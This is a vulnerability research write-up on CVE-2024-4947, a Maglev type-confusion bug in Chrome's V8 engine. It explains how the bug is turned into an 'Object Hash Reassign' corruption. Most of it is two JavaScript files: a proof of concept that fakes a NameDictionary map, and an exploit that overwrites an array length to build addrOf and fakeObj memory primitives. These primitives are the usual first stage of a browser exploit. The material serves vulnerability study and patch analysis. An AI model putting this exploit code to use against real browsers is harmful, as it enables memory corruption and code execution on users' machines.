# CVE-2024-4947 Author: Jack Ren ([@bjrjk](https://github.com/bjrjk)) ## Object Hash Reassign ### Overview Analyses for CVE-2024-12695 introduced a brand new exploit pattern, *Object Hash Reassign*. By assigning the same object with different hashes twice, attackers can finally achieve full control of V8 Sandbox. \[[3][3], [4][4]\] We've discovered a method to transform this vulnerability to achieve *Object Hash Reassign*. In that case, it's exploitable. The brief escalate process is listed as follows. The original PoC could assign a tagged value to `JSModuleNamespace->properties_or_hash->map`. To utilize this behaviour, we fake a `Map` object whose `instance_type` is `NAME_DICTIONARY_TYPE`, and assign this object to the `map` field. As a consequence, the `properties_or_hash` switch its `instance_type` between `PropertyArray` and `NameDictionary`. As the hash is stored in `properties_or_hash` when object has properties, the store offset of `hash` is changed due to this type confusion. So the problem is reduced to *Object Hash Reassign* now. ### PoC ![](images/PointToRelation.png) `PoCs/Modified/PoC2.mjs`: ```javascript // out/x64.ReleaseAssertionDebug/d8 --allow-natives-syntax --expose-gc --module CVE-2024-4947/Exploit/PoC2.mjs // Corrupt capacity of JSFinalizationRegistry->key_map and SIGSEGV import * as m from 'Module.mjs'; m.p0; // m->properties_or_hash is PropertyArray let y = new Array(1234); // 1234 will be m's hash after properties_or_hash->map reassigned %DebugPrint(m); // PropertyArray(m->properties_or_hash) and JSArray(y) is adjacent // Fake a map by using BigInt const instance_type = 178n; // 16b, NAME_DICTIONARY_TYPE let bit_field = 0b0n; // 8b let bit_field2 = 0b0n; // 8b let bit_field3 = 0b0n; // 32b let fakeMap = instance_type + (bit_field << 16n) + (bit_field2 << 24n) + (bit_field3 << 32n); function bar() { try { // It's not allowed to assign to property of module. // So wrapped it with try-catch clause. m.p0 = fakeMap; } catch (e) { } } function finalizationCallback() { console.log("finalizationCallback"); for (let i = 0; i < 10; i++) { registry.register({ "target": 3 + i }, 3 + i, { "token": 3 + i }); } } const registry = new FinalizationRegistry(finalizationCallback); let target1 = { "a": 1 }; let target2 = { "a": 2 }; registry.register(target1, 1, m); registry.register(target2, 2, m); %DebugPrint(m); // m got a hash stored in high bits of `PropertyArray::kLengthAndHashOffset` (+4) %PrepareFunctionForOptimization(bar); bar(); %OptimizeMaglevOnNextCall(bar); bar(); %DebugPrint(m); // Due to `properties_or_hash` is an `PropertyDictionary` now, hash stores in `FixedArray::OffsetOfElementAt(NameDictionary::kObjectHashIndex)` (+18), which is `y.length` target2 = undefined; console.log("Before GC"); gc(); console.log("After GC"); ``` ## Assign object hash to `JSArray.length` ### Overview This idea is from [Kaspersky's official writeup][5]. According to the point-to-relation graph of previous section, the field `objectHash` of confused shape `NameDictionary` and field `length` of actual shape `JSArray` is aligned. If the `length` of `JSArray` is zero initially, we can trigger an operation to assign a hash to `NameDictionary.objectHash`. In that case, the hash is written to `JSArray.length` actually and the `JSArray` can be OOB accessed. ### Exploit #### AddressOf & FakeObj `PoCs/Modified/Exploit2.mjs`: ```javascript // out/x64.ReleaseAssertionDebug/d8 --allow-natives-syntax --module CVE-2024-4947/Exploit/Exploit2.mjs const ab = new ArrayBuffer(8); const f64a = new Float64Array(ab, 0, 1); const i32a = new Uint32Array(ab, 0, 2); const bi64a = new BigUint64Array(ab, 0, 1); function c2f(low, high = 0) { // combined (two 4 bytes) word to float i32a[0] = low; i32a[1] = high; return f64a[0]; } function b2f(v) { // bigint to float bi64a[0] = v; return f64a[0]; } function f2b(v) { // float to bigint f64a[0] = v; return bi64a[0]; } function fhw(v) { // high word of float f64a[0] = v; return i32a[1]; } function flw(v) { // low word of float f64a[0] = v; return i32a[0]; } function unptr(v) { return v & 0xfffffffe; } function ptr(v) { return v | 1; } import * as m from 'Module.mjs'; const fakeMap = c2f(0x0000_0000, 0x0000_00B2); // instance_type: NAME_DICTIONARY_TYPE function opt() { try { m.p0 = fakeMap; } catch (e) { return false; } return true; } function trigger() { m.p0; // Trigger `JSModuleNamespace.properties_or_hash` transition [NameDictionary => PropertyArray] const corruptArray = [1, 2]; // Allocated adjacently corruptArray.pop(); corruptArray.pop(); const doubleArray = [2.30234E-320, 2.30234E-320]; // Allocated adjacently; corruptArray[4-5, 6-7] // while (!opt()); %PrepareFunctionForOptimization(opt); console.assert(!opt()); %OptimizeMaglevOnNextCall(opt); console.assert(opt()); new WeakRef(m); // Assign hash to `m`, thus the length of `corruptArray` got OOB written with a large value return { corruptArray, doubleArray }; } const { corruptArray, doubleArray } = trigger(); // %DebugPrint(m); // %DebugPrint(corruptArray); // %DebugPrint(doubleArray); function addrOf(obj) { corruptArray[4] = obj; return unptr(flw(doubleArray[0])); } // Only available after corruptArray transitioned from PACKED_SMI_ELEMENTS to PACKED_ELEMENTS function fakeObj(addr) { doubleArray[0] = c2f(ptr(addr)); return corruptArray[4]; } let obj = {}; %DebugPrint(obj); console.log(addrOf(obj).toString(16)); %DebugPrint(fakeObj(addrOf(obj))); ``` ## References 1. https://issues.chromium.org/issues/340221135 2. https://web.archive.org/web/20250426073331/https://buptsb.github.io/blog/post/CVE-2024-4947-%20v8%20incorrect%20AccessInfo%20for%20module%20namespace%20object%20causes%20Maglev%20type%20confusion.html 3. https://issues.chromium.org/issues/383647255 4. https://bugscale.ch/blog/dissecting-cve-2024-12695-exploiting-object-assign-in-v8/ 5. https://securelist.com/lazarus-apt-steals-crypto-with-a-tank-game/114282/ [1]: https://issues.chromium.org/issues/340221135 [2]: https://web.archive.org/web/20250426073331/https://buptsb.github.io/blog/post/CVE-2024-4947-%20v8%20incorrect%20AccessInfo%20for%20module%20namespace%20object%20causes%20Maglev%20type%20confusion.html [3]: https://issues.chromium.org/issues/383647255 [4]: https://bugscale.ch/blog/dissecting-cve-2024-12695-exploiting-object-assign-in-v8/ [5]: https://securelist.com/lazarus-apt-steals-crypto-with-a-tank-game/114282/